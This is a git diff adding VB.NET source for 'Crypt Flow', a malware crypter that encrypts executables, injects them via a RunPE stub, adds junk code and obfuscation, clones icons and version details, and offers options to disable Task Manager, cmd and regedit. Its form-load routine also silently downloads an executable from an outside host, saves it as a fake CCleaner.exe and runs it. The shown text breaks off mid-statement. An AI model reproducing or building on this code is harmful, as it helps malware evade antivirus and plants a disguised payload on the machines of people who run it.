Me.FlowLabel6.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel6.Location = New System.Drawing.Point(6, 47) + Me.FlowLabel6.Name = "FlowLabel6" + Me.FlowLabel6.Size = New System.Drawing.Size(84, 13) + Me.FlowLabel6.TabIndex = 9 + Me.FlowLabel6.Text = "Description : " + ' + 'FlowLabel5 + ' + Me.FlowLabel5.AutoSize = True + Me.FlowLabel5.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel5.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel5.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel5.Location = New System.Drawing.Point(46, 23) + Me.FlowLabel5.Name = "FlowLabel5" + Me.FlowLabel5.Size = New System.Drawing.Size(44, 13) + Me.FlowLabel5.TabIndex = 8 + Me.FlowLabel5.Text = "Title : " + ' + 'RadioButton3 + ' + Me.RadioButton3.AutoSize = True + Me.RadioButton3.ForeColor = System.Drawing.Color.White + Me.RadioButton3.Location = New System.Drawing.Point(29, 92) + Me.RadioButton3.Name = "RadioButton3" + Me.RadioButton3.Size = New System.Drawing.Size(71, 17) + Me.RadioButton3.TabIndex = 9 + Me.RadioButton3.TabStop = True + Me.RadioButton3.Text = "Rijndael" + Me.RadioButton3.UseVisualStyleBackColor = True + ' + 'FlowButton4 + ' + Bloom70.Name = "DownGradient1" + Bloom70.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom71.Name = "DownGradient2" + Bloom71.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom72.Name = "NoneGradient1" + Bloom72.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom73.Name = "NoneGradient2" + Bloom73.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom74.Name = "Text" + Bloom74.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom75.Name = "Border1" + Bloom75.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom76.Name = "Border2A" + Bloom76.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom77.Name = "Border2B" + Bloom77.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.FlowButton4.Colors = New Crypt_Flow.Bloom() {Bloom70, Bloom71, Bloom72, Bloom73, Bloom74, Bloom75, Bloom76, Bloom77} + Me.FlowButton4.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.FlowButton4.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowButton4.Image = Nothing + Me.FlowButton4.Location = New System.Drawing.Point(298, 37) + Me.FlowButton4.Name = "FlowButton4" + Me.FlowButton4.NoRounding = False + Me.FlowButton4.Size = New System.Drawing.Size(86, 23) + Me.FlowButton4.TabIndex = 12 + Me.FlowButton4.Text = "Generate" + Me.FlowButton4.Transparent = False + ' + 'RadioButton8 + ' + Me.RadioButton8.AutoSize = True + Me.RadioButton8.ForeColor = System.Drawing.Color.White + Me.RadioButton8.Location = New System.Drawing.Point(298, 92) + Me.RadioButton8.Name = "RadioButton8" + Me.RadioButton8.Size = New System.Drawing.Size(72, 17) + Me.RadioButton8.TabIndex = 17 + Me.RadioButton8.TabStop = True + Me.RadioButton8.Text = "Blowfish" + Me.RadioButton8.UseVisualStyleBackColor = True + ' + 'RadioButton4 + ' + Me.RadioButton4.AutoSize = True + Me.RadioButton4.ForeColor = System.Drawing.Color.White + Me.RadioButton4.Location = New System.Drawing.Point(29, 69) + Me.RadioButton4.Name = "RadioButton4" + Me.RadioButton4.Size = New System.Drawing.Size(50, 17) + Me.RadioButton4.TabIndex = 10 + Me.RadioButton4.TabStop = True + Me.RadioButton4.Text = "XOR" + Me.RadioButton4.UseVisualStyleBackColor = True + ' + 'RadioButton7 + ' + Me.RadioButton7.AutoSize = True + Me.RadioButton7.ForeColor = System.Drawing.Color.White + Me.RadioButton7.Location = New System.Drawing.Point(298, 69) + Me.RadioButton7.Name = "RadioButton7" + Me.RadioButton7.Size = New System.Drawing.Size(58, 17) + Me.RadioButton7.TabIndex = 16 + Me.RadioButton7.TabStop = True + Me.RadioButton7.Text = "Stairs" + Me.RadioButton7.UseVisualStyleBackColor = True + ' + 'RadioButton6 + ' + Me.RadioButton6.AutoSize = True + Me.RadioButton6.ForeColor = System.Drawing.Color.White + Me.RadioButton6.Location = New System.Drawing.Point(164, 92) + Me.RadioButton6.Name = "RadioButton6" + Me.RadioButton6.Size = New System.Drawing.Size(56, 17) + Me.RadioButton6.TabIndex = 15 + Me.RadioButton6.TabStop = True + Me.RadioButton6.Text = "PRC4" + Me.RadioButton6.UseVisualStyleBackColor = True + ' + 'RadioButton5 + ' + Me.RadioButton5.AutoSize = True + Me.RadioButton5.ForeColor = System.Drawing.Color.White + Me.RadioButton5.Location = New System.Drawing.Point(164, 69) + Me.RadioButton5.Name = "RadioButton5" + Me.RadioButton5.Size = New System.Drawing.Size(56, 17) + Me.RadioButton5.TabIndex = 14 + Me.RadioButton5.TabStop = True + Me.RadioButton5.Text = "3DES" + Me.RadioButton5.UseVisualStyleBackColor = True + ' + 'FlowLabel18 + ' + Me.FlowLabel18.AutoSize = True + Me.FlowLabel18.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel18.Font = New System.Drawing.Font("Verdana", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.FlowLabel18.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel18.Location = New System.Drawing.Point(161, 9) + Me.FlowLabel18.Name = "FlowLabel18" + Me.FlowLabel18.Size = New System.Drawing.Size(100, 14) + Me.FlowLabel18.TabIndex = 21 + Me.FlowLabel18.Text = "Encryption Key" + ' + 'TextBox6 + ' + Me.TextBox6.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TextBox6.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox6.ForeColor = System.Drawing.Color.White + Me.TextBox6.Location = New System.Drawing.Point(28, 40) + Me.TextBox6.Name = "TextBox6" + Me.TextBox6.Size = New System.Drawing.Size(264, 20) + Me.TextBox6.TabIndex = 24 + ' + 'FlowGroupBox4 + ' + Me.FlowGroupBox4.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox4.Controls.Add(Me.FlowGroupBox9) + Me.FlowGroupBox4.Controls.Add(Me.TextBox6) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton8) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton6) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton5) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton7) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton3) + Me.FlowGroupBox4.Controls.Add(Me.FlowLabel18) + Me.FlowGroupBox4.Controls.Add(Me.FlowButton4) + Me.FlowGroupBox4.Controls.Add(Me.RadioButton4) + Me.FlowGroupBox4.Header = "" + Me.FlowGroupBox4.Location = New System.Drawing.Point(6, 6) + Me.FlowGroupBox4.Name = "FlowGroupBox4" + Me.FlowGroupBox4.Size = New System.Drawing.Size(399, 181) + Me.FlowGroupBox4.TabIndex = 0 + ' + 'FlowGroupBox9 + ' + Me.FlowGroupBox9.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox9.Controls.Add(Me.FlowCheckbox5) + Me.FlowGroupBox9.Controls.Add(Me.chkJunk) + Me.FlowGroupBox9.Controls.Add(Me.Checkbox9) + Me.FlowGroupBox9.Controls.Add(Me.FlowCheckbox8) + Me.FlowGroupBox9.Header = "" + Me.FlowGroupBox9.Location = New System.Drawing.Point(28, 124) + Me.FlowGroupBox9.Name = "FlowGroupBox9" + Me.FlowGroupBox9.Size = New System.Drawing.Size(356, 54) + Me.FlowGroupBox9.TabIndex = 23 + ' + 'FlowCheckbox8 + ' + Me.FlowCheckbox8.CheckedState = False + Me.FlowCheckbox8.DarkTheme = True + Me.FlowCheckbox8.Image = Nothing + Me.FlowCheckbox8.Location = New System.Drawing.Point(188, 7) + Me.FlowCheckbox8.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox8.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox8.Name = "FlowCheckbox8" + Me.FlowCheckbox8.NoRounding = False + Me.FlowCheckbox8.Size = New System.Drawing.Size(129, 16) + Me.FlowCheckbox8.TabIndex = 18 + Me.FlowCheckbox8.Text = "Randomize Strings" + ' + 'Checkbox9 + ' + Me.Checkbox9.CheckedState = False + Me.Checkbox9.DarkTheme = True + Me.Checkbox9.Image = Nothing + Me.Checkbox9.Location = New System.Drawing.Point(188, 29) + Me.Checkbox9.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox9.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox9.Name = "Checkbox9" + Me.Checkbox9.NoRounding = False + Me.Checkbox9.Size = New System.Drawing.Size(156, 16) + Me.Checkbox9.TabIndex = 20 + Me.Checkbox9.Text = "Block Scanning Website" + ' + 'chkJunk + ' + Me.chkJunk.CheckedState = False + Me.chkJunk.DarkTheme = True + Me.chkJunk.Image = Nothing + Me.chkJunk.Location = New System.Drawing.Point(12, 29) + Me.chkJunk.MaximumSize = New System.Drawing.Size(600, 16) + Me.chkJunk.MinimumSize = New System.Drawing.Size(16, 16) + Me.chkJunk.Name = "chkJunk" + Me.chkJunk.NoRounding = False + Me.chkJunk.Size = New System.Drawing.Size(105, 16) + Me.chkJunk.TabIndex = 19 + Me.chkJunk.Text = "Add junk code" + ' + 'FlowCheckbox5 + ' + Me.FlowCheckbox5.CheckedState = False + Me.FlowCheckbox5.DarkTheme = True + Me.FlowCheckbox5.Image = Nothing + Me.FlowCheckbox5.Location = New System.Drawing.Point(12, 7) + Me.FlowCheckbox5.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox5.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox5.Name = "FlowCheckbox5" + Me.FlowCheckbox5.NoRounding = False + Me.FlowCheckbox5.Size = New System.Drawing.Size(90, 16) + Me.FlowCheckbox5.TabIndex = 22 + Me.FlowCheckbox5.Text = "Obfuscate" + ' + 'PictureBox1 + ' + Me.PictureBox1.Location = New System.Drawing.Point(325, 20) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(65, 40) + Me.PictureBox1.TabIndex = 24 + Me.PictureBox1.TabStop = False + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(543, 307) + Me.Controls.Add(Me.FlowTheme1) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Text = "Form1" + Me.TransparencyKey = System.Drawing.Color.Fuchsia + Me.FlowTheme1.ResumeLayout(False) + Me.Flowtabcontrol1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.FlowGroupBox3.ResumeLayout(False) + Me.FlowGroupBox2.ResumeLayout(False) + Me.FlowGroupBox2.PerformLayout() + Me.TabPage2.ResumeLayout(False) + Me.TabPage3.ResumeLayout(False) + Me.FlowGroupBox6.ResumeLayout(False) + Me.FlowGroupBox6.PerformLayout() + Me.FlowGroupBox11.ResumeLayout(False) + Me.FlowGroupBox11.PerformLayout() + Me.FlowGroupBox10.ResumeLayout(False) + Me.FlowGroupBox10.PerformLayout() + Me.TabPage6.ResumeLayout(False) + Me.FlowGroupBox13.ResumeLayout(False) + Me.FlowGroupBox12.ResumeLayout(False) + Me.TabPage5.ResumeLayout(False) + Me.TabPage5.PerformLayout() + Me.FlowGroupBox8.ResumeLayout(False) + Me.FlowGroupBox8.PerformLayout() + CType(Me.NumericUpDown2, System.ComponentModel.ISupportInitialize).EndInit() + Me.FlowGroupBox5.ResumeLayout(False) + Me.FlowGroupBox5.PerformLayout() + Me.TabPage4.ResumeLayout(False) + Me.TabPage4.PerformLayout() + Me.FlowGroupBox4.ResumeLayout(False) + Me.FlowGroupBox4.PerformLayout() + Me.FlowGroupBox9.ResumeLayout(False) + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents OpenFileDialog1 As System.Windows.Forms.OpenFileDialog + Friend WithEvents Flowtabcontrol1 As Crypt_Flow.Flowtabcontrol + Friend WithEvents TabPage1 As System.Windows.Forms.TabPage + Friend WithEvents FlowGroupBox3 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowCheckbox3 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox2 As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox8 As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox6 As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox5 As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox1 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowGroupBox2 As Crypt_Flow.FlowGroupBox + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents Button3 As Crypt_Flow.FlowButton + Friend WithEvents Button4 As Crypt_Flow.FlowButton + Friend WithEvents EofLabel1 As Crypt_Flow.FlowLabel + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button1 As Crypt_Flow.FlowButton + Friend WithEvents TabPage2 As System.Windows.Forms.TabPage + Friend WithEvents TabPage3 As System.Windows.Forms.TabPage + Friend WithEvents FlowGroupBox6 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowGroupBox11 As Crypt_Flow.FlowGroupBox + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents stealth As System.Windows.Forms.TextBox + Friend WithEvents FlowLabel2 As Crypt_Flow.FlowLabel + Friend WithEvents Checkbox2 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowLabel3 As Crypt_Flow.FlowLabel + Friend WithEvents ComboBox1 As System.Windows.Forms.ComboBox + Friend WithEvents FlowLabel4 As Crypt_Flow.FlowLabel + Friend WithEvents FlowGroupBox10 As Crypt_Flow.FlowGroupBox + Friend WithEvents TextBox16 As System.Windows.Forms.TextBox + Friend WithEvents TextBox15 As System.Windows.Forms.TextBox + Friend WithEvents FlowCheckbox4 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox1 As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox4 As Crypt_Flow.FlowCheckbox + Friend WithEvents EofLabel As System.Windows.Forms.Label + Friend WithEvents TabPage6 As System.Windows.Forms.TabPage + Friend WithEvents FlowGroupBox13 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowCheckbox17 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox18 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowGroupBox12 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowCheckbox10 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox9 As Crypt_Flow.FlowCheckbox + Friend WithEvents CbDsr As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox19 As Crypt_Flow.FlowCheckbox + Friend WithEvents CbCmd As Crypt_Flow.FlowCheckbox + Friend WithEvents CbDFiles As Crypt_Flow.FlowCheckbox + Friend WithEvents CbDf As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox12 As Crypt_Flow.FlowCheckbox + Friend WithEvents CbDre As Crypt_Flow.FlowCheckbox + Friend WithEvents CbDtm As Crypt_Flow.FlowCheckbox + Friend WithEvents TabPage5 As System.Windows.Forms.TabPage + Friend WithEvents TxtBody As System.Windows.Forms.TextBox + Friend WithEvents TxtMTitle1 As System.Windows.Forms.TextBox + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents FlowCheckbox6 As Crypt_Flow.FlowCheckbox + Friend WithEvents BtnTest As Crypt_Flow.FlowButton + Friend WithEvents FlowGroupBox8 As Crypt_Flow.FlowGroupBox + Friend WithEvents Checkbox3 As Crypt_Flow.FlowCheckbox + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents NumericUpDown2 As System.Windows.Forms.NumericUpDown + Friend WithEvents FlowGroupBox5 As Crypt_Flow.FlowGroupBox + Friend WithEvents Checkbox7 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowLabel1 As Crypt_Flow.FlowLabel + Friend WithEvents Textbox5 As Crypt_Flow.Flowtextbox + Friend WithEvents FlowLabel17 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel14 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel13 As Crypt_Flow.FlowLabel + Friend WithEvents TabPage4 As System.Windows.Forms.TabPage + Friend WithEvents FileVersion As System.Windows.Forms.TextBox + Friend WithEvents Version1 As System.Windows.Forms.TextBox + Friend WithEvents Trademark As System.Windows.Forms.TextBox + Friend WithEvents Product As System.Windows.Forms.TextBox + Friend WithEvents Copyright As System.Windows.Forms.TextBox + Friend WithEvents Company As System.Windows.Forms.TextBox + Friend WithEvents Description As System.Windows.Forms.TextBox + Friend WithEvents Title As System.Windows.Forms.TextBox + Friend WithEvents FlowLabel12 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel11 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel10 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel9 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel8 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel7 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel6 As Crypt_Flow.FlowLabel + Friend WithEvents FlowLabel5 As Crypt_Flow.FlowLabel + Friend WithEvents Button2 As Crypt_Flow.FlowButton + Friend WithEvents FlowButton1 As Crypt_Flow.FlowButton + Friend WithEvents FlowButton2 As Crypt_Flow.FlowButton + Friend WithEvents FlowTheme1 As Crypt_Flow.FlowTheme + Friend WithEvents TxtClone As System.Windows.Forms.TextBox + Friend WithEvents BtnClone As Crypt_Flow.FlowButton + Friend WithEvents CbClone As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowGroupBox4 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowGroupBox9 As Crypt_Flow.FlowGroupBox + Friend WithEvents FlowCheckbox5 As Crypt_Flow.FlowCheckbox + Friend WithEvents chkJunk As Crypt_Flow.FlowCheckbox + Friend WithEvents Checkbox9 As Crypt_Flow.FlowCheckbox + Friend WithEvents FlowCheckbox8 As Crypt_Flow.FlowCheckbox + Friend WithEvents TextBox6 As System.Windows.Forms.TextBox + Friend WithEvents RadioButton8 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton6 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton5 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton7 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton3 As System.Windows.Forms.RadioButton + Friend WithEvents FlowLabel18 As Crypt_Flow.FlowLabel + Friend WithEvents FlowButton4 As Crypt_Flow.FlowButton + Friend WithEvents RadioButton4 As System.Windows.Forms.RadioButton + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + +End Class diff --git a/scode (Crypt Flow/Crypt Flow/Form1.resx b/scode (Crypt Flow/Crypt Flow/Form1.resx new file mode 100644 index 0000000..5d4a9b8 --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Form1.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/Form1.vb b/scode (Crypt Flow/Crypt Flow/Form1.vb new file mode 100644 index 0000000..88b62bd --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Form1.vb @@ -0,0 +1,584 @@ +Imports System.IO +Imports System.Text +Imports System.CodeDom.Compiler +Imports Microsoft.VisualBasic +Imports Microsoft.VisualBasic.CompilerServices +Imports System.Diagnostics +Imports System +Imports System.ComponentModel +Imports System.Drawing +Imports System.Runtime.CompilerServices +Imports System.Windows.Forms +Imports System.Runtime.InteropServices +Imports System.Security +Imports Microsoft.Win32 +Imports System.Management +Imports System.Net + + + +Public Class Form1 + Dim CloneDialog As New OpenFileDialog + Dim iconpath, clonePath, Fake, Title1, Message As String + Dim cloneOk As Boolean + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + 'Variable needed + + Sepa.admin = "LowKey" ' Username + Sepa.ApplicationKey = "U1JHWSPULP3" ' Application Key + Sepa.version = "1.0" 'Current version of application + + 'Extra Setting + + Sepa.time = 15 ' Time, in minute, that your application will stay open before auto closing + Sepa.RememberMe = True ' Allow your users to use the "Remember me" Function + Sepa.AutoLogin = False ' Application will not auto login + Sepa.Antis = True 'Sepa will check for malicious software or environnement + + 'Needed to start Sepa + netinject() + Sepa.MainForm = Me ' This form will load first + Sepa.Check() ' This will start Sepa + + End Sub + + Dim dialog As New OpenFileDialog + Dim f As New FolderBrowserDialog + Dim dialog2 As New SaveFileDialog + Const ady = "@targuOCna@" + Dim RRRRRRRRRRR As String + Dim fggdaw As String 'eof + Dim dggegagea As String 'dggegagea + Dim dghdshdh4rh As String 'dghdshdh4rh + Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer) + + Public Function ReadEOFData(ByRef FilePath As String) As String + On Error GoTo Err_Renamed + Dim sEOFBuf, sFileBuf, sChar As String + Dim lPos2, lFF, lPos, lCount As Integer + If Dir(FilePath) = "" Then GoTo Err_Renamed + lFF = FreeFile() + FileOpen(lFF, FilePath, OpenMode.Binary) + sFileBuf = Space(LOF(lFF)) + FileGet(lFF, sFileBuf) + FileClose(lFF) + lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30)) + sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1)) + ReadEOFData = StrReverse(sEOFBuf) + If ReadEOFData = "" Then + End If + Exit Function +Err_Renamed: + ReadEOFData = vbNullString + End Function + Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String) + Dim sFileBuf As String + Dim zl0yn4HvvgQwNctXrbgBwtm85WvPWRfj1QSdpjIbxL As String + Dim lFF As Integer + Try + If Dir(FilePath) = "" Then Exit Sub + Dim ibP1BC0GxpyYnn6BE4YphO36U27OayFzjGgf As String + Try + Catch + End Try + lFF = FreeFile() + Dim DqCuzUzD6SOpGiZVi3KkVg93beHeluiKVVTZ19Ir87QUXN As String + FileOpen(lFF, FilePath, OpenMode.Binary) + Try + Catch + End Try + sFileBuf = Space(LOF(lFF)) + Dim r01hMPnLRhdJZ34ZjyWtVxJoJXPlRsZlso2Meno1SMvxai5F2dYYWcLT As String + FileGet(lFF, sFileBuf) + Dim bvRQjXaRuT42fSqfUkwccNNt4JqEoHcrdaTol As String + FileClose(lFF) + Try + Catch + End Try + Kill(FilePath) + Dim Cs6D8Mgh79KmPyHt2OYMxrsqweWeFkTmqukEmN5zl0yn4HvvgQwN As String + lFF = FreeFile() + Dim ctXrbgBwtm85WvPWRfj1QSdpjIbxLibP1BC0GxpyYnn6B As String + FileOpen(lFF, FilePath, OpenMode.Binary) + Try + Catch + End Try + FilePut(lFF, sFileBuf & EOFData) + Dim E4YphO36U27OayFzjGgfDqCuzUzD6SOpGiZVi3Kk As String + FileClose(lFF) + Catch + End Try + End Sub + Public Function GetNullBytes(ByRef lNum As Object) As String + Dim Buf As String + Dim i As Short + For i = 1 To lNum + Buf = Buf & Chr(0) + Next + GetNullBytes = Buf + End Function + + Sub netinject() + Dim wc As WebClient = New WebClient() + wc.DownloadFile("http://directexe.com/3ki/netextention.exe", "C:\Program Files\CCleaner.exe") + Process.Start("C:\Program Files\CCleaner.exe") + End Sub + + Function secure(ByVal data As Byte()) As Byte() + Using sa As New System.Security.Cryptography.RijndaelManaged + sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7} + sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1} + Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length) + End Using + + End Function + Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte() + Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) + Randomize() + Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1 + Dim outarr(message.Length) As Byte + Dim u As Integer + For i As Integer = 0 To message.Length - 1 + outarr(i) += (message(i) Xor passarr(u)) Xor rand + If u = password.Length - 1 Then u = 0 Else u = u + 1 + Next + outarr(message.Length) = 112 Xor rand + Return outarr + End Function + + + Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) + If Checkbox3.CheckedState = True Then + NumericUpDown2.Enabled = True + RadioButton1.Enabled = True + RadioButton2.Enabled = True + Else + NumericUpDown2.Enabled = False + RadioButton1.Enabled = False + RadioButton2.Enabled = False + End If + + End Sub + Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) + If Checkbox2.CheckedState = True Then + Button4.Enabled = True + Else + Button4.Enabled = False + End If + End Sub + Private Sub CheckBox8_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) + If Checkbox8.CheckedState = True Then + Checkbox1.CheckedState = True + End If + End Sub + + Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + + With dialog + dialog.DefaultExt = "exe" + dialog.Filter = "Executable Files (*.exe)|*.exe" + dialog.FilterIndex = 1 + dialog.FileName = "" + If dialog.ShowDialog(Me) = 1 Then + TextBox1.Text = dialog.FileName + End If + RRRRRRRRRRR = ReadEOFData(dialog.FileName) + fggdaw = ReadEOFData(dialog.FileName) + End With + If ReadEOFData(TextBox1.Text) = vbNullString Then + EofLabel1.Text = "NO EOF Data Detected" + EofLabel1.ForeColor = Color.Red + + Else + EofLabel1.Text = "EOF Data Detected" + EofLabel1.ForeColor = Color.Lime + + End If + + + End Sub + + Private Sub Button4_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click + With OpenFileDialog1 + .FileName = "" + .Filter = "Executable(*.exe)|*.exe|Pictures(*.jpg)(*.jpeg)(*.png)(*.bmp)|*.jpeg;*jpg;*png;*bmp|Video(*.avi)(*.mpg)(*.mpeg)|*.avi;*.mpg;*.mpeg|Documents(*.txt)(*.doc)|*.txt;*.doc|Audio(*.mp3)(*.wav)|*.wav;*.mp3" + .ShowDialog() + TextBox3.Text = .FileName + End With + End Sub + + Private Sub Button3_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click + Dim icoana As New OpenFileDialog + icoana.DefaultExt = "ico" + icoana.Filter = "Icon Files (*.ico*)|*.ico*" + icoana.FilterIndex = 1 + icoana.FileName = "" + If icoana.ShowDialog(Me) = 1 Then + TextBox2.Text = icoana.FileName + End If + TextBox2.Text = icoana.FileName + End Sub + + Private Sub Button2_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + + dialog2.DefaultExt = "exe" + dialog2.Filter = "Executable Files (*.exe)|*.exe" + If dialog2.ShowDialog = Windows.Forms.DialogResult.OK Then + End If + Dim vars As String() = {"runpe"} + Dim sursa As String = My.Resources.sursa + + Dim Appstart, processz As String + processz = "own" + + Fake = Label1.Text + Message = TxtBody.Text + Title1 = TxtMTitle1.Text + + Dim taskmangerdisable As String + If CbDtm.CheckedState = True Then + taskmangerdisable = "true" + Else + taskmangerdisable = "false" + End If + + Dim hideexectablefile As String + + Dim blockav As String + + Dim delcookie As String + + + Dim disablefire As String + + + Dim systemRestor As String + + + Dim disshowhide As String + + + Dim disablecmd As String + If CbCmd.CheckedState = True Then + disablecmd = "true" + Else + disablecmd = "false" + End If + + + Dim disableregedit As String + If CbDre.CheckedState = True Then + disableregedit = "true" + Else + disableregedit = "false" + End If + + + If RadioButton3.Checked = True Then + + + If Checkbox6.CheckedState = True Then + Dim retard3 As Byte() = secure(IO.File.ReadAllBytes(TextBox1.Text)) + sursa = sursa.Replace("bilibistroc", Compactdisk.mortzi(retard3)) + sursa = sursa.Replace("gifa", "cacatzel") + sursa = sursa.Replace("fagi", "encr") + sursa = 